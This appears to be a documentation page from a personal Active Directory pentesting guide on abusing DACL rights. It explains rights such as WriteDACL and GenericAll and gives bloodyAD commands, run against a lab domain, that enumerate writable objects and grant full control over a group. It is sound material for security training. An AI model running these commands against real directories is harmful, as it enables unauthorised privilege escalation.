> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/active-directory/08.-dacl-abuse.md).

# 08. DACL Abuse

**What it is:** every object in Active Directory — users, groups, OUs, certificate templates — carries a **DACL** (Discretionary Access Control List), a set of Access Control Entries (ACEs) defining exactly who can do what to that object.

## Common Dangerous Rights

| Right          | What it lets you do                                                                       |
| -------------- | ----------------------------------------------------------------------------------------- |
| `GenericAll`   | Full control — change any attribute, including group membership, passwords, etc.          |
| `GenericWrite` | Write most attributes (not full control, but often enough — e.g. add yourself to a group) |
| `WriteOwner`   | Make yourself the object's owner, then grant yourself further rights                      |
| `WriteDACL`    | Directly edit the object's ACL to grant yourself any right you want                       |

## Why These Accumulate

Over an AD environment's lifetime, rights get delegated for legitimate reasons — a helpdesk script that needs to reset passwords, a service account that manages group membership — and they're rarely cleaned up. It's extremely common to find a low-privileged account sitting on excessive, forgotten rights over a sensitive object.

## Worked Example — Discovering and Abusing a Writable Object

```bash
# enumerate what jane.doe can write to
bloodyAD --host dc2.sub.htb -d sub.htb -u 'jane.doe@domain.htb' -k get writable
# -> CN=Sensitive Group,CN=Users,DC=sub,DC=htb : WRITE_DACL
```

Having `WriteDACL` means you can grant yourself anything, including full control:

```bash
bloodyAD --host dc2.sub.htb -d sub.htb -u 'jane.doe@domain.htb' -k \
  add genericAll 'CN=Sensitive Group,CN=Users,DC=sub,DC=htb' \
  '<jane.doe-SID>'
```

From `GenericAll`, you can now modify group membership, change the group's type (`09_Group_Scope.md`), or anything else needed for the next step in the chain.

## Note on Cross-Domain SIDs

When the target object is in a *different* domain than your account, name resolution across the trust can be unreliable — always use the raw SID of your principal instead of its `domain\username` form when granting rights across a forest boundary.

## Key Terms

| Term     | Definition                                                       |
| -------- | ---------------------------------------------------------------- |
| **DACL** | Discretionary Access Control List — per-object permissions in AD |
| **ACE**  | Access Control Entry — one rule within a DACL                    |


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